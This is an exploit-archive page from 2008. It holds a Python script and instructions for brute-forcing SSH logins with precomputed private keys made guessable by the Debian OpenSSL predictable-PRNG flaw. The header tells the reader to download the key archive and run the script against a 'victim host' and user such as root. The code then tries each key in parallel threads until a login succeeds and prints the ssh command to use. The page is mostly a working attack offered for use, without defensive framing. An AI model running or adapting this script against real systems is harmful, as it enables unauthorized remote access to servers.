Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (Python)

2008-06-01 00:00:00

#!/bin/python
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
############################################################################
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
# http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
#
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
############################################################################


import Queue
import os
import string
import time
from threading import Thread
import sys

#This class only has a boolean, which will be True if some thread find the key
class End():
def __init__(self):
self.end = False

def Finish(self):
self.end = True

def GetEnd(self):
return self.end


#This is the thread class
class Connection(Thread):
def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
Thread.__init__(self)
self.QueueDir = QueueDir
self.TheEnd = TheEnd
self.dir = dir
self.host = host
self.user = user
self.port = port

def run(self):
while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
key = self.QueueDir.get()

cmd = 'ssh -l ' + self.user
cmd = cmd + ' -p ' + self.port
cmd = cmd + ' -o PasswordAuthentication=no'
cmd = cmd + ' -i ' + self.dir + '/' + key
cmd = cmd + ' ' + self.host + ' exit; echo $?'

pin,pout,perr = os.popen3(cmd, 'r')
pin.close()

#To debug descoment the next line. This will show the errors reported by ssh
#print perr.read()

if pout.read().lstrip().rstrip() == '0':
self.TheEnd.Finish()
print ''
print 'Key Found in file: '+ key
print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host)
print ''

print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org'

if len(sys.argv) < 4:
print './exploit.py <dir> <host> <user> [[port] [threads]]'
print ' <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
print ' <host>: The victim host'
print ' <user>: The user of the victim host'
print ' [port]: The SSH port of the victim host (default 22)'
print ' [threads]: Number of threads (default 4) Too big numer is bad'

sys.exit(1)

dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]

if len(sys.argv) <= 4:
port='22'
threads=4
else:
if len(sys.argv) <=5:
port=sys.argv[4]
threads = 4

else:
port=sys.argv[4]
threads = sys.argv[5]

ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()

for i in range(len(ListDir)):
if ListDir[i].find('.pub') == -1:
QueueDir.put(ListDir[i])

initsize = QueueDir.qsize()
tested = 0

for i in range(0,int(threads)):
Connection(QueueDir,TheEnd,dir,host,user,port).start()


while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
time.sleep(5)
actsize = QueueDir.qsize()
speed = (initsize - tested - actsize)/5
tested = initsize - actsize

print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed)

#

Fixes

No fixes

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